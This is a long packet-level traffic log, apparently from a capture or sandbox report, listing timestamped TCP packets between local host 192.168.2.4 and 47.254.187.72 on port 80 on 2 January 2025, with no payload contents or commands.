Jan 2, 2025 20:34:53.536895990 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.536910057 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.536917925 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.536928892 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.536938906 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.536938906 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.536948919 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.536952019 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.536984921 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.537002087 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.537878990 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.537919044 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.537929058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.537930012 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.537939072 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.537950993 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.537957907 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.537960052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.537966013 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.537976980 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.537987947 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.537997961 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.538000107 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.538007975 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.538011074 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.538043976 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.608230114 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.608256102 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.608268023 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.608278990 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.608289957 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.608306885 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.608308077 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.608318090 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.608329058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.608336926 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.608354092 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.608364105 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.608375072 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.608385086 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.608388901 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.608395100 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.608405113 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.608416080 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.608417988 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.608427048 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.608432055 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.608448982 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.608452082 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.608458996 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.608484983 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.608500957 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.608510971 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.608519077 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.608521938 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.608550072 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.608570099 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.608577013 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.608582020 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.608592987 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.608603001 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.608617067 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.608634949 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.608647108 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.608649969 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.608664036 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.608675003 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.608685970 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.608689070 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.608689070 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.608699083 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.608735085 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.608755112 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.608767033 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.608778000 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.608788013 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.608797073 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.608799934 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.608808994 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.608815908 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.608854055 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.608903885 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.608915091 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.608925104 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.608949900 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.608954906 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.608964920 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.608977079 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.608983040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.608993053 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.608995914 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.609004021 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.609005928 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.609016895 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.609024048 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.609061956 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.609112978 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.609158039 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.609184027 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.609206915 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.609255075 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.609266043 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.609276056 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.609288931 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.609296083 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.609299898 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.609311104 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.609327078 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.609329939 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.609348059 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.609364033 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.609376907 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.609380960 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.609391928 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.609396935 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.609401941 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.609412909 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.609412909 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.609424114 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.609442949 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.609450102 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.609461069 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.609461069 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.609474897 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.609493017 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.609513044 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.609528065 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.609534979 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.609545946 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.609570980 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.609590054 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.611783028 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.611795902 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.611814976 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.611826897 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.611835957 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.611838102 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.611849070 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.611859083 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.611870050 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.611876965 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.611892939 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.611910105 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.613841057 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.613862038 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.613873959 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.613884926 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.613895893 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.613908052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.613919020 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.613929987 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.613966942 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.614011049 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.617779970 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.617813110 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.617830038 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.617841959 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.617851973 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.617851973 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.617866039 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.617876053 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.617887020 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.617887020 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.617916107 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.617930889 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.622442007 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.622457027 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.622469902 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.622492075 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.622519970 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.622581005 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.622591972 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.622602940 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.622613907 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.622623920 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.622627974 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.622634888 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.622636080 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.622652054 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.622658014 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.622663975 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.622668028 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.622679949 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.622690916 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.622692108 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.622710943 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.622740984 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.623688936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.623706102 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.623716116 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.623733044 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.623743057 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.623744011 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.623754025 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.623764992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.623776913 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.623785973 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.623816967 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.624816895 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.624829054 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.624840021 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.624850035 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.624860048 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.624862909 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.624870062 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.624881983 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.624897957 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.624900103 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.624919891 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.624952078 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.694989920 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.695084095 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.695107937 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.695120096 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.695139885 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.695151091 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.695157051 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.695163012 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.695173979 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.695184946 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.695192099 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.695195913 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.695205927 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.695218086 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.695230007 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.695251942 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.695278883 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.695290089 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.695302963 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.695324898 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.695338011 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.695347071 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.695354939 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.695365906 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.695372105 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.695375919 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.695386887 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.695396900 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.695406914 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.695409060 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.695416927 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.695429087 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.695442915 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.695450068 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.695460081 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.695467949 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.695472002 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.695482969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.695493937 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.695503950 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.695516109 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.695521116 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.695533037 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.695549965 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.695552111 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.695560932 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.695565939 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.695574045 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.695575953 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.695585966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.695596933 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.695599079 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.695617914 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.695633888 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.695739985 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.695749998 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.695761919 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.695779085 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.695789099 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.695800066 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.695806980 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.695806980 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.695811033 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.695822954 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.695847034 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.695858002 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.695892096 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.695946932 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.695991039 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.696002007 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.696012974 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.696023941 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.696034908 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.696034908 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.696053028 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.696062088 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.696063995 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.696079969 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.696082115 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.696094990 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.696100950 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.696106911 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.696110010 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.696145058 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.696218014 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.696228981 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.696240902 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.696257114 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.696290970 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.696305990 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.696316957 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.696331978 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.696341038 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.696341991 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.696353912 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.696374893 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.696400881 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.698546886 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.698570013 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.698580980 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.698590994 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.698602915 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.698612928 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.698623896 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.698628902 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.698635101 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.698667049 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.698709965 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.700537920 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.700551987 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.700571060 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.700589895 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.700601101 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.700602055 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.700619936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.700630903 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.700635910 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.700642109 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.700660944 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.700680017 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.704477072 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.704490900 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.704508066 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.704519033 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.704530001 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.704554081 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.704557896 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.704565048 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.704576969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.704581976 CET	49730	80	192.168.2.4	47.254.187.72
